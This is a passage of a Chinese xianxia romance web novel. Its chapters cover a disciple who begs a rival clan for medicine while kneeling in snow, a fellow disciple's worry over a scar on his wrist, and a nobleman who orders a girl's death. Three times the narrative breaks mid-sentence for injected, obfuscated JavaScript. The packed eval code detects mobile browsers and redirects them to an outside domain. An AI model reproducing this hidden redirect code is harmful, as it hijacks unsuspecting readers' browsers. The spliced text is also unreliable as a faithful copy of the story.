宁汐不认得这人,对方却自来熟地自我介绍起来:“裴从周,你叫我裴师兄可以,从周师兄亦可,若你愿意,喊我一声从周哥哥也不无不可……” 旁边其他师姐实在看不过眼,恼怒地咳了几声。 “从周师兄好。” 裴从周原本被其他人打搅话头的不悦顿时烟消云散,笑嘻嘻地朝宁汐肯首:“还是宁师妹上道,本来我还以为你也跟表哥、啊就是你们大师兄一样是个古板无趣的性子,只肯喊我裴师兄呢!” 大师兄应该不是古板之人吧,宁汐心想,但没说出口,只是认真地道:“大师兄也姓裴,我怕这样喊了‘裴师兄’,就分不清是谁了。” 众人:…… 裴从周露出一个牙酸的表情:“满口‘大师兄’长,‘大师兄’短的——合着就只许他是特殊的、其他人都不配被称一声‘裴师兄’了是吧!” 宁汐:…… 旁边几个师姐早就捂嘴笑出了声。 “抱歉从周师兄,我……” “算了算了。”裴从周毫不在意似的摆了摆手,“知道你跟你大师兄情非泛泛,我就是自取其辱来了。” 宁汐有些赧然:明明她与大师兄也不怎么相熟,这裴从周师兄怎么净是胡言乱语。 “既然你对表哥这么上心,那你怎么还傻站在这,不该早去问仙堂前候着了吗?”裴从周唏嘘完,又疑惑地看了她一眼。 从刚刚开始就说些她听不懂的话。宁汐没来由地有些不安:“大师兄怎么了?问仙堂又是怎么回事?” “你不知道吗?”裴从周讶然道,“战后物资匮乏,伤员感染妖疫,偏偏医修缺了一味救命的药材,那药材只有昆仑丘才有,我表哥为了求药,正跪在问仙堂前求赫连家的代家主呢。” 10. 求药 借了裴从周御剑的东风,这次宁汐不用再翻山越岭地奔波半夜。 她到问仙堂前时,第一眼没能看出裴不沉在何处。 再看第二眼,才勉强看清白茫茫天地间一个月蓝的小点。 宁汐抬脚就要朝那被霜雪积堆的人影走去,却又被裴从周拉了一把。 他面色纠结:“你真要过去?” 怪他多嘴多舌,他其实也知晓以裴不沉欺霜赛雪似的冷性情,断不能与这位宁小师妹有任何首尾。他同宁汐说这些,不过是开个玩笑吧。 他以为宁汐知晓了今日求药之事,不过会事后再找裴不沉安慰几句,谁能想她居然想也不想,直接就求着他御剑带自己来了。 “此事其实事关其他宗门,呃……宁师妹你有所不知,昆仑丘赫连家想来与我们白玉京关系微妙。” 宁汐点了点头。她记得,前世赫连家就与裴家关系交恶,只是她那是单纯地以为那是因为赫连含山之死,裴不沉遭到赫连家怀疑,之后诱发白玉京弟子冲撞赫连家客居、烧死数名赫连家弟子,两家这才不来往。 可再听裴从周絮絮叨叨讲了一堆,她才知道内情远比自己想象的复杂。 严格来说,白玉京跻身仙门世家也是近百年的事情,其中很大程度上得归功于裴不沉的父亲裴清野。 裴清野祖上也曾出过能开山劈海的大能,但后来族人天赋平平,裴氏便逐渐没落了。 直到百年前,裴清野在镇压阎野的仙门围剿中立下大功,迎娶了曾经的仙家华族尉迟二小姐,军功加身、姻亲强大,这才以一己之身振兴白玉京。 可一个昔日的破落户,凭什么和簪缨世家的贵族平起平坐? 即使白玉京裴氏名望再大,始终有人无法接纳。 昆仑丘赫连家便是其中之一。 裴从周一说起这个,便愤愤不平:“他赫连家算什么东西,自己闭起门来搞血统歧视那一套就算了,还想拿这些糟烂玩意来荼毒其他仙门!瞧不起我们裴家没落世家出身,连带着连殃及大师兄……” 他的话音渐渐低了下去,语气沉沉:“你也知道,裴不沉他爹去得早,偌大一个白玉京都要靠他自己撑着,宗门内虽有长老,但那帮食古不化的老头不给他添堵就算不错了……上要匡扶宗门,下要帮助师门弟妹,表哥日子过得着实辛苦” 宁汐的心脏仿佛被人肆意揉捏,又酸又涨,她低低道:“我只知道我入门后不久,裴掌门便在一次捉妖中意外身亡了……” 裴从周却不想多说,只是摆了摆手,丢给她一柄纸伞和一只暖手炉:“我就送你到这了。喏,这两个东西给你。我表哥心高气傲好面子,不喜欢别人看见他落魄,我要是过去扶他了,他指不定觉得我是故意看热闹的。” 宁汐郑重地点头,急匆匆地朝裴从周行了个礼,就朝裴不沉跑过去。 宁汐一脚深一脚浅地在雪地中跋涉,离得近了,才发现其实裴不沉跪前地台阶上还站着一帮赫连家的人。 为首一位老媪着胭脂色金牡丹纹,外罩一件赤金虎毛大氅,正是赫连家的代家主赫连亭川。 赫连亭川白眉白须,仙风道骨,面色威严,缓声道:“……裴公子也不必跪老妇。你所求的太乙玄藤,昆仑丘确有不假。” 宁汐听见裴不沉低哑的声音响起:“晚辈多谢赫连家主。” 赫连亭川不耐地一摆手:“你不必谢得这么早,老妇也没说过要借药。” 宁汐思忖他二人可能还有话要说,隔了几步远,便站定了,想等裴不沉与赫连亭川说完了再去。 裴不沉默然片刻,道:“是家主还在为含山道友之死而介怀?若是如此,晚辈愿以道心发誓,含山道友之死与晚辈绝无干系,若有一字虚假,便遭万道雷劫加身——” 赫连亭川冷然打断:“你以为老妇是那样公私不分之人?我孙含山之死自有惩戒司查证,虽然你嫌疑未除,但老妇既然答应了裴掌门,就不会再私下寻你麻烦。” “那敢问前辈究竟是为何不肯施药于白玉京?先前妖祸,许多白玉京内弟子都中了妖毒,要解此毒,太乙玄藤是必不可少的一味药材。若非如此,晚辈也不会冒然向您开口求药。” “修仙之途漫漫,老妇也不是什么铁石心肠之辈,逢此危难老妇自然愿意与同道携手共济——可那也得是同道才行!” 赫连亭川的声音里染上了三分不屑与鄙夷:“听说,你求此药,不仅要施在内门弟子上,还包括那些未开化的外门?” 裴不沉道:“妖毒入体,轻则伤及神智,重则危害性命。外门弟子亦是一条性命,晚辈求药施治,有何不可?” 宁汐怔了一下,心口突地一跳。她不曾修炼,便不晓得其中利害,原来妖毒是这样厉害的吗? 那为何她三日前受了应龙一爪,却直到如今还活蹦乱跳? 与大师兄曾施法为她护住心脉有关么…… “大道本无情,仙凡有别,犹如人畜之分。灵根不易得,更不该由泥胎土体玷污。”赫连亭川冷道,“那些外门连灵根都没开,泥堆草塑的凡人而已,有什么值得救的?你还为此跪在这里,简直有辱世家门楣!” 昆仑丘眼高于顶,瞧不上裴氏没落世家,裴不沉也被连带着恨屋及乌。 恶意、鄙夷、讥讽,随着纷纷扬扬的大雪落下,堆在裴不沉的肩头。 他不语,脊背笔直,只是又郑重地叩首:“求前辈慈悲赐药。” 赫连亭川重重哼了一声,带着身后的赫连家长老、弟子,摔袖走了。 宁汐的指甲掐进肉里,直到生疼、几乎掐破了油皮,才忍住冲上前与赫连家主争执的冲动。 她人微言轻,不想给大师兄添麻烦。 即使吵了一架又怎样呢,只有她自己出了气,事后还是要大师兄替她卑躬屈膝,道歉弥补。 就像今日一样。 明明妖祸不是他的错,明明弟子们受伤也不是他的责任,他本来可以不管的,他是高坐明堂上的大师兄,本就可以不沾一点风雪。 可他还是跪在这里,替千千万万像宁汐一样无法出言的普通弟子发声、求药,受他本不必受到的折辱。 这样冷的天,大师兄的心里也会觉得冷吗? 宁汐撑起纸伞,缓步朝那被雪埋了半截的人影走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669068|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知不觉间,她已经走到了裴不沉身后。 踩雪声如玉碎,一踏一踏,很清晰。 裴不沉已经听见了,却没有回头,大概是根据地上的影子认出了她,哑声道:“宁师妹?” 估计在宁汐来之前,他真的跪了很久,本来金丹修士风寒不侵的身体都微微发着颤抖。 宁汐“嗯”了一声,又朝他走过去,才刚刚迈步,裴不沉却又笑了笑: “别过来。” 他的语气轻柔却坚定,换一个识眼色的弟子,这时候都会主动退下,偏偏宁汐是个木头性子,根本读不懂空气,或者说,不想读。 她绕到裴不沉面前,赶在他扭身躲开之前,在他面前蹲下来。 大师兄的眼睫上挂了霜,依旧是欺霜赛雪似的清冷五官,只是眼下乌青更重了一些。 四目相对,落雪窸窣。 “……” “别看我。”裴不沉忽地笑了。 可宁汐面无表情地盯着他,他的笑容便慢慢收敛起来。 其实裴不沉的面容骨相分明,鼻梁高而窄,眼形细长,眼皮很薄,唇也薄,不笑的时候会显得格外阴冷寡淡。 可能就是为了这个缘故,他平时总挂着一副无害温和的笑脸,好像即使天塌下来,他也能云淡风轻。 宁汐将手中的伞往他的方向推了推,替他遮住如掌大的雪花。 然而裴不沉毫不领情,他的语气骤然冷了下来:“我让你别看了,听不见吗?” 宁汐从没听过他这么凶的口气,愣了一下,吸了吸鼻子。 原本是因为天寒地冻,可裴不沉显然误会了,僵硬半晌,率先移开视线,慢慢将脑袋垂了下去。 掉落的漆黑碎发遮住他的眉眼,只露出冷玉一样的下半张脸,淡粉的唇线和锋利的下颌线都绷得紧紧的。 岁寒天暮,彤云酿雪,大雪始终纷扬,如柳絮,如鹅毛。 裴不沉于冰雪林中跪直身体,没了平日同桃李争春的芳尘。 良久,他叹了口气。 “……别管我了。”他把脑袋深深埋在胳膊里,声音低哑得不行。 宁汐没吭声,从怀里掏出自己的暖手炉,递给他。 裴不沉好一会都没动,然后才慢慢接过了手炉,用满是冰碴的掌心攥紧。 倏地,她想起前世裴不沉投水前抱着她灵位的模样,也是这样,将脸遮起来。 那时候他是不想让别人看见自己哭吧? 明明是这么好面子的性格,连一点点哭泣的丑态都不愿意让人看见,却在瓢泼大雨里顶着满身泥泞,抱着她的灵位摔进泥浆里…… 宁汐突然道:“我之前救了大师兄,对吧?” 裴不沉带了点鼻音,“嗯”了一声。 “那我就是大师兄你的救命恩人。人们常说救命之恩当以结草衔环相报,大师兄呢,打算怎么报答我?” 不等裴不沉回答,宁汐又抢先道:“我救了你,你的命就是我的了,你什么都要听我的。” “那我要你起来。”她吸了一口气,努力平静地重复,“起来。” “我不许你跪他们。” 11. 伤疤 少女的声线紧绷,可嗓音却是天生的柔软绵糯,即使是在说命令的句子,听起来也没什么说服力。 许久,裴不沉才发出沙哑的低笑:“师妹从哪里学来的挟恩相报?” 宁汐一张小小圆脸依旧绷得紧紧的:“大师兄答不答应?” 于是裴不沉低低地笑了,轻声吐槽了一句:“什么他们,那可是赫连家代家主,前任家主的父亲,也是你能‘他们’‘他们’乱叫的?” 宁汐愤愤不平。 真是可笑,分明是最厌恶凡人血统的家族,前一任家主赫连云照不还是迎娶了一名纯粹的凡人——赫连清羽为夫君。 她对羽伯伯没有意见,可她就是看不惯赫连家人那副眼高于顶的样子,居然还欺负到大师兄头上了! 她自己气得浑身发抖,可是又发泄不出来,眼前是个雪堆的人,仿佛怎样都没有脾气。她自己素来又是个木头性子,笨嘴笨舌,事到临头了连句骂人的话都说不出来。 好半晌,她憋红了脸,才学着平日从卫书那里听来的脏话,恨恨地骂了一句“真该死!” 裴不沉从鼻子里哼笑两声,假装严肃:“注意举止!” 宁汐不搭腔,她早就看出了裴不沉色厉内荏的本质,知道他一定不会冲自己发火,干脆直接上手去拽他。 没拽动。 裴不沉依旧不置可否,转而道:“师妹什么时候来的?” “一刻前。” “那就是都听见了?” 他在说自己与赫连亭川的对话。宁汐犹豫片刻,承认了。 裴不沉叹了口气,没对她偷听墙角的行为作出什么评价。他对年纪小的师弟妹们一贯很包容:“师妹走吧,天寒地冻的,你身上伤还没好,小心别冻着了。” 说着,又去拍宁汐肩膀上的雪。 “大师兄身上不也有伤吗?” 宁汐抿了抿唇,对上裴不沉的眼睛,声音不自觉抬高了:“大师兄和阎野一战,肯定不可能这么快就恢复了吧?你明明知道天气这么冷——那为什么还要跪在这里!” 裴不沉讶异地扬眉,眼尾带了一点笑:“师妹生气了?” 宁汐越来越无法无天,敢瞪他了,虽然只是飞快的一眼:“大师兄一点都不让人省心!” 裴不沉终于朗声笑了起来,抱着宁汐送给自己的小小暖手炉,笑得头顶的雪都簌簌落了下来:“根本轮不到师妹说这话吧!” 不等宁汐又来拽他,他自己就站起来了。 “师兄没事。走吧,回去百药园,看看能不能熬一碗火姜汤喝。” 他的腿跪麻了,稍微有些趔趄,但幸好宁汐在一旁尽职尽责地充当人形拐杖,扶着他往百药园走。 到了百药园,裴不沉朝迎上来的医修交代了几句,就带着宁汐进了小厨房。 因为不是吃饭的时候,小厨房里没有其他人,只有两三个灶台还生着火。 裴不沉很熟练地劈柴、烧火、涮锅、切姜,热水。 宁汐原本想上前帮忙,但发现自己笨手笨脚、不仅帮不了忙还差点切到自己的手指头之后就自觉退下去了。 她搬了一个小木凳,坐在门槛边,托着腮看大师兄忙碌。 裴不沉转身看到她坐在那,粉白一只跟糯米团子似的,就弯了眼睛,朝她走过去:“师妹没事干?正好,帮我系一下围裙吧。” 宁汐认真地在他身后系了一个蝴蝶结。 围裙大约是哪个女修留下的,豆沙粉的亮丽颜色,还点缀着许多小碎花,套在清冷如谪仙的裴不沉身上,很怪异,却……也有种奇怪的和谐。 忙活没一会,裴不沉就端着一碗姜汤出来。 汤水金黄,热气腾腾,辛甜芬芳,宁汐被按着喝了一大碗,裴不沉才放过她,又另外取了一个干净的碗,自己也喝了。 驱过寒,宁汐被冻得发麻的手脚渐渐缓和过来,迟钝的知觉也终于上涌——她的肚子突然“咕”地叫了一声。 宁汐:…… 裴不沉含笑看了一眼小师妹慢慢腾红的脸颊,没多说什么,放下碗,又开始忙碌。 他从柜子里取出面粉和木盆,大概是要煮面条。 宁汐不好意思让大师兄一个人忙碌,也跟着站起身,在厨房里溜溜达达,试图找出一点食材贡献。 还真让她翻出了几袋曝晒好的天灵百合根。 天灵百合味甘平,主治邪气、心痛,补中益气*,所以百药园内多少会存一些备用。 她如获至宝,捧着就转身朝裴不沉奔去:“大师兄你看我找到了什么好东西!” 裴不沉正在揉面,两只袖子高高卷起,闻声朝她扭过头来。 于是她也看见了裴不沉左手腕上一道突兀的划痕。 兴奋的心情如同被兜头泼了一盆冰雪。 锅里的水开了,蒸汽发出尖锐的鸣声,沸腾的汤水汩汩地顶撞木盖,厚重木盖时不时磕在铁锅边缘,轻微地咯咯作响。 裴不沉若无其事地放下了袖口:“师妹找到什么?” 宁汐没动。 他只好自己走过去,亲手接过那包百合根,冲她微微一笑:“多谢师妹。” 宁汐深深地蹙眉,张口却不知该问什么。 她沉默下来,裴不沉也不是多话的性子,屋内便一时安静。 裴不沉返身回去,好像什么都没发生过一样继续揉面,将百合根捣碎,过筛,和面作汤饼,菜刀敲在案板上“笃笃”地响。 宁汐在原地站了一会,只能又坐回自己的小板凳上。 这回她不托腮了,绞着手指,忧心忡忡地盯着大师兄系围裙的背影。 从前宁汐在人间流浪时,也见过那样的伤疤。那是个精神失常的女乞丐,听附近的人说是她的孩子在冬天时被野猪叼走了,人找回来的时候只剩下一半,母亲见了之后当场便晕厥过去,再醒来后人就变得疯癫痴傻,犯病时就拿着刀片划拉自己的手腕。 那时候宁汐日子过得朝不保夕,也不敢同女乞丐多有接触,只远远地望见过几次,乞丐蜷缩在墙根的果皮垃圾堆里,周围苍蝇乱飞,露出来的手腕细瘦如枯木,腕口也有深浅不一的弯曲划痕。 只是裴不沉的疤痕和女乞丐的还有些不一样,后者是横着的,而大师兄的伤疤却好像是纵向的长条,仿佛有人曾拿着利刃、沿着血管走向、仔仔细细地剖开过少年的肌肤血肉。 虽然只是远远的一瞥,但宁汐已经能想象到当初那道伤口会有多疼、流多少血。 是和妖物作战时留下的么? 可是什么样的妖物会反复在手腕上留伤? 宁汐呆坐了一会,实在心神不定,起身出了小厨房。 裴不沉正好端着面条要摆碗筷,见她出门,忍不住喊了一句:“师妹去那里?” “找人借点东西,一会就回来!” 裴不沉有些无奈,像一个面对贪玩耍赖孩子的老母亲,湿手在围裙上抹了两下:“早点回来啊,都快吃饭了。” 宁汐信守承诺,不一会就怀揣了一个大纸包回来,“哗啦”一下丢到桌上。 裴不沉扫了一眼:“这是什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669069|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“少阴生肌祛痕膏。” “师妹从哪里找来的?” “我有个认识的师兄,他对美容护肤颇有心得,我找他借的。” 其实是直接拿过来了,宁汐没找到卫书,只好在玉简上给他发了条消息,但后者似乎把她拉黑了,半天也没回复,她只好往卫书的储物阁里塞了一点灵石。 反正卫书以前没少抢宁汐的东西,她偶尔以牙还牙一次,也不算过分。 裴不沉用指尖轻轻拨弄那瓶祛痕膏,漫不经心道:“这膏药灵气四溢,并非凡品。看起来师妹平日里同那位师兄关系很好,他才会轻易就将这样的好东西借给你。” 宁汐短暂回忆了一下平日里卫书用那双染着艳红蔻丹对自己指指点点的模样,小脸严肃地摇头:“不,我们关系很差。” 裴不沉笑了:“所以师妹跑出去找这些做什么?” 宁汐:…… 大师兄真的不是在明知故问吗? 他肯定知道的方才她瞧见了他手腕上的疤痕,居然还能这么面不改色地装糊涂。 宁汐把药膏往桌上一摆,努力装出板正的模样:“我见大师兄腕上有伤疤,想着这膏药兴许有用就带回来了,师兄试一试?” 她当然没有自来熟到替裴不沉上药的程度,裴不沉倒没有拂了她的好意,只是笑了笑,自己撩起袖口。 两人交递药罐时,指尖不经意轻轻擦过。 还是和之前攥住他手腕的感觉一样,冰冰凉凉,像一块光滑的冷玉。 只是兴许有意遮掩,裴不沉上药时宽大的袖口垂落,挡住了大半皮肤。 于是宁汐就知道,他大概不想让人看见自己的不堪,她乖乖移开了视线。 她拿起竹箸,开始吸面条,一边心想从周师兄说的没错,大师兄可真是好面子。 不过,她很快被口中的面条转移了注意力。不得不说,裴不沉的厨艺当真是好。之前那碗姜汤已经熬煮的恰到好处了,眼下的面条却更胜一筹。 先用蘑菇和笋熬煮成汁,又过筛之后加入虾米、鸡汁,小火熬煮炖成纯黑的汤汁,放入百合根揉成的素面蓬白如雾,最后撒上一把鲜亮油绿的葱花、烙得金黄的鸡蛋。* 宁汐用筷子一戳,那煎蛋还是流心的。 白玉京从不亏待外门弟子,不会给宁汐吃残羹冷炙,可再好的也没有了,都是些品相一般的烙饼馒头之类的,便宜量大管饱。 毕竟外门不算正经入门弟子,膳房的食修们才不会花心思在他们上面。 裴不沉涂完药,见她吃得开心,便也跟着动了筷子。 屋外雪停新霁,院内种着一丛郁葱百合,白玉京灵气浓郁,花开不按季节,只随心意。 两丛香百合,一架粉长春。* 小厨房内灶火正旺,柴烧噼啪作响。 宁汐吸溜着面条,圆圆的小脸被炉火烧得红堂,眉眼弯弯地夸大师兄做的面真好吃。 裴不沉便噙了笑,道以后有机会还可以做给她尝尝。 “不过,我善厨艺的事情,师妹要替我保密啊。” 宁汐眨了眨眼睛。 “君子远庖厨,我喜好擅长这些,说出去总是不太好。” 宁汐“哦”一声,却偷偷撇嘴。 大师兄真不容易,缝纫也是,厨艺也是,只是一点爱好而已,都要遮遮掩掩。 吃完了面,她非要送大师兄回去,结果维持了不到半刻钟的好心情在撞见门口等着的人时消失殆尽。 泼墨纸伞下,赫连为桃花眼微眯,若有所思地盯着他们。 12. 讨厌 离开的时候,宁汐死活要亲自送裴不沉回住处,理由是怕他趁她不在,又跑回问仙堂前跪着。 裴不沉很无奈,屈起手指不轻不重地敲了一下宁汐的后脑勺:“我是什么爱好受刑的人不成,非要自讨苦吃?” 宁汐只瞪他:“总之不行。每次我一会没盯着师兄,师兄就会出事!” 要么是被抓上剖心台受刑啦,要么是掉到龙胃里面了,要么就是像今天这样,天寒地冻地长跪在雪地里。 若不是她今天赶到及时,裴不沉非要冻出毛病来不可。 白玉京的雪可不比寻常的人间冰雪,沾染了灵气,连寒意都是入骨的。 裴不沉依旧是笑,摇了摇头,不轻不重地叱了声“没大没小”,但还是答应让她送自己回去。 裴不沉人高腿长,足足比宁汐高出一个脑袋还不止,他一步抵得上宁汐两三步,她只好小碎步跑追上。 察觉她吃力,裴不沉放缓了步伐,同她并肩而行。 宁汐:“师兄今天回去,要记得好好休息。别再去找赫连前辈了。” 裴不沉大概也不想做无用功,便微微颔首,反过来安慰她:“你别担心,妖毒的解药我会再想办法,左不过就这几日,去附近市集采买,或是请其他交好的仙门救急……总能寻到一些太乙玄藤。” 宁汐无言,她那是担心太乙玄藤够不够么? …… 一路闲言,等到了裴不沉住的少掌门居,却见到一个意想不到的人。 来人执一把泼墨纸伞,一身胭脂色的长袍与同色大氅,如斜阳残霞,清清淡淡地立在伞下。等到宁汐看过来,他便抬起了伞面,一双美得惊心动魄的桃花眼朝她看过来。 一时之间,天地间似乎都只剩下那抹极艳极浓的眸子,右眼尾下两颗泪痣红如朱砂,在相映生辉的雪地之中几乎明亮得生光。 裴不沉率先出了声:“赫连二公子。” 世家子弟之间多有往来,彼此熟识,不过点头之交。他认得这位赫连为公子,盖因他在一众世家公子里是在太过特殊。 赫连为的母亲是已逝的上一任赫连家主赫连云照,父亲赫连清羽本是个凡人,入赘后夫凭妻贵,也成了赫连家的长老。 而赫连为的身份不能不说尴尬:他非赫连云照亲生,生父是个吃软饭的“小白脸”,偏偏名义上又是赫连家的二公子——顺带一提,那被疑似逐日剑刺死的大公子赫连含山才是赫连云照的亲生子。 如今赫连家前任家主与最有可能继承家主之位的大公子接连身亡,唯独剩下这一个非亲非故、却名正言顺的二公子…… 裴不沉温声道:“赫连二公子是来找我?” 赫连为却没有应。 他在看宁汐。 而宁汐整个人从头到脚都僵住了。 怎么会在这里撞上他?! 赫连清羽与她父母是至交好友。前世,宁汐拜入宗门之后一直藉藉无名,赫连家父子没有她的消息,她也不知道赫连父子为了入赘而改姓,是以双方一直没能相认。 直到白玉京妖祸之后,赫连为代表赫连家前来慰问,并遇到、认出了宁汐。 说是慰问,其实不然。 裴氏几乎满门被灭,其他宗门才陆续赶来,如同嗅到鲸落后血腥味赶来的巨鲨,谋算着要将白玉京残存血肉吞吃殆尽。 宁汐撞上赫连为探究的目光,知道他是和前世一样觉得自己眼熟,十有八九是再次认出了自己。 然而一对上那双潋滟的桃花眼,宁汐就克制不住回想起前世眼前人与南宫音在自己洞房内颠鸾倒凤的场景…… 宁汐看他的表情一时复杂。 兴许是她的眼神太过露骨,赫连为的脸色有些沉。 与昳丽到近乎荼蘼的外表不同,赫连为是个极为阴沉的性子,宁汐记得小时候他就不大爱说话,后来到了赫连家也不知道怎么过的,性格愈发乖戾,看人的目光都血淋淋的。 “你叫什么?” 宁汐怔了一下,才意识到赫连为是在问自己。 这可不妙,她没有这么快和他相认的打算,也不想再卷进他和南宫音之间的恨海情天里。 宁汐支支吾吾半晌,企图蒙混过关:“我是……外门峰负责扫水的……普通弟子。” “我没问你这个。上来,让我看看!”赫连为十分不耐,大步走上来,竟是直接伸手要把宁汐捉出去,好瞧个仔细。 宁汐还没来得及躲,眼前就有人站出来,温和道:“赫连二公子等了许久,白玉京雪寒,不如先进屋喝杯热茶暖一暖。” 裴不沉身形高大,宁汐再往他身后一躲,就完全遮住了自己。 赫连为还想再说什么,但又想起今日来前父亲让他勿要生事、与裴公子打好交道的嘱托,便攥紧拳,阴沉着脸应了一声。 然后也不等裴不沉引路,他自己就撑着伞往屋子里去了。 真是不把自己当外人,没礼貌! 新仇叠加旧怨,宁汐冲着赫连为的背后做鬼脸,而裴不沉正好转身,看了个一清二楚。 裴不沉:…… 他警告性地轻咳一声,宁汐立刻眼观鼻鼻观心。 临走前,裴不沉用气声道:“师妹不喜欢赫连二公子?” 宁汐:“嗯。” 裴不沉又看了她一眼,才转身。 * 静室之内,红炉烧火,炉上碧绿茶汤微沸,升起冉冉白雾。 “多谢。”赫连为接过裴不沉递来的茶碗,一饮而尽,似乎也没尝出什么滋味,便又放下。 他十六岁赫连清羽才入赘赫连家,在那之前他都生活在凡人间,不是什么富贵人家,饮食也是粗茶淡饭,喝不出所谓名茗之间的区别。 赫连为的大拇指和食指捏着茶碗,虚虚转了一圈,又抬眼去撇眼前的男子,心中冷冷:这人倒不像其他锦绣草包一般,对他的不识风雅出言讥讽。 来白玉京前,赫连为想过,若是裴不沉也同其他世家子一般对他冷嘲热讽,他就会杀了这人。 反正,所有欺侮过他、瞧不起他的,都该死。 “方才那个外门女修,是新入门的?”赫连为突然又道。 裴不沉为他续上茶汤,动作优雅:“嗯。大约是吧。她今日扫值,我也是偶然碰到,顺路走了一段而已。二公子问起这个,是与她相熟?” “那倒不是。”赫连为没听出对方话中真假,“觉得她长得像我小时候认识的一个人。” 对赫连为稍微有些了解的,都知晓他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669070|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时在人间的经历是他不可触的逆鳞。 可能是生怕别人说他血脉不净、这个二公子之位来的不正,所以赫连为最厌恶别人此事。 裴不沉也没多说,只道:“二公子若是对她好奇,我明日去外门峰问一问。” 赫连为却突然朝他直直看过来,片刻,忽地嗤笑一声:“裴公子以为我是什么?招蜂引蝶的浪荡之徒么?!” 裴不沉依旧是笑容温和:“怎会。” 只是,裴不沉倏忽想起,以前裴从周在他耳边念叨过的许多八卦里,似乎提过几句:赫连为长相貌若好女,在一众仙门女修中颇为受欢迎。 【当然啦,百大受女修欢迎排行榜头名的肯定是大师兄你】——最后裴从周还嬉皮笑脸加了这么一句。 不过今日宁师妹确实多看了赫连二公子几眼…… 裴不沉摸了摸自己的脸颊,又不动声色地借着茶汤的反光,暗自对比了一番他同赫连为的相貌。 好像,可能,应该……也没有输很多吧? 裴不沉突然有些烦躁地蹙了一下眉。 莫名被拉入容貌攀比的赫连为似有所感,以为他是跪久受了冻,身体不适。 今日裴不沉跪在问仙堂前求药之事早已传遍仙门。 赫连为来便是为了此事。 一番嘘寒问暖之后,赫连为起身告辞。 待走出少掌门居许多距离,他才阴沉着脸打开传音玉简。 几乎是同时,赫连清羽的名字便跳了出来。 玉简接通,赫连清羽小小的全息人像出现在玉简之上,对赫连为开口:“吾儿辛苦。与裴公子谈的如何?” 赫连为便捡了些重要的说了,最后才道:“裴不沉应该看出来了,我们同赫连亭川那老东西不是一路的。” 玉简那头沉默片刻,才道:“那裴公子是否答应与我们合作,助我们取得赫连家主之位?” 赫连为:“不知道。他这人我看不透,总觉得笑起来的样子阴恻恻的,讨人厌。” 又沉吟片刻,道:“若是他不肯也无妨。南宫家那边,我可以再想办法。” 赫连清羽的语气立刻严肃:“不可。我同你说过多少回,你与南宫家小姐并非良配——” “那谁与我是良配?”赫连为骤然打断,嗤笑道,“那个不知道在哪个犄角旮旯躲着的凡人之女么?!” 赫连清羽怫然不悦:“我当初与你宁伯父宁伯母生死与共,这才定下姻亲,何况君子一诺重于泰山,怎可轻易毁亲!” “那是爹的承诺,与我无干。”赫连羽冷冷道,“我只知道,娶南宫女,南宫家便会相助你我,届时整座昆仑丘就如囊中物。而那生死不知的宁姑娘……” 他的声音如淬过了冰,不带一丝情感:“于我毫无用处。” 说完,赫连羽也不等对方再说什么,便挂掉了玉简。 转头,又点进了另一个名字,传讯过去:“去查一下外门新进的女弟子里是否有一个异色瞳的。” 他隐约记得,小时候见过的那个宁家妹妹,就有一双异色的、猫儿似的眼睛。 “如果那人姓宁的话……”洁白如玉的手指轻敲玉简,片刻,轻飘飘地落下一句:“就杀了吧。” 省得麻烦。 13. 告状 赫连为走后,裴不沉独自静坐。 一室静寂,茶汤热气冉冉,云遮雾绕中他的表情模糊不清。 他不知在想什么,过了一会,指尖灵力变幻,凝成一只巴掌大的鸟,像只乌鸦,猩红的眼珠转动几下,随即振翅飞起。 若是有精通法术之人能看见,便能认出,那是无相鸦,多用于监视、探查,有些邪修暗地里做些见不得人的勾当,不方便亲自行动,便用无相鸦替代。 但其实,无相鸦还有另一种用处,便是满足达官贵人私下里喜欢窥探阴私的怪癖。 无论哪一种用处,都不该是白玉京的少掌门该会的。 可偏偏裴不沉操控无相鸦的手法很娴熟。 仿佛一早就知道该在哪里等候,他指挥无相鸦落在一处无人的野径边。 少顷,透过无相鸦的眼睛,他看见身着粗褐布衣的少女慢吞吞地行走在山道上,长发带着些自然卷,在背后活跃地甩动。 她时不时停下来,摘点路边的野花野草,或者被经过的粉蝶鸟雀吸引了注意力,那双澄澈的琥珀异色瞳在日光下泛起晶亮的流波。 她没注意到,身后一只隐匿在樱树阴影中的无相鸦,正在静静地注视着她。 裴不沉看了一会,怀里的玉简响起来。 他随手敲了一下,玉简中传出裴从周欢快的声音:“哟表哥,跪完了?” 裴不沉:“你特地来奚落我的?” 裴从周爽朗笑道:“怎么会!师兄大义凛然,为师弟妹们求药不惜折辱膝下黄金——可歌可泣,我已经帮你写进话本子里了,等我话本大卖,届时师兄你的高尚情操一定人人称颂!” 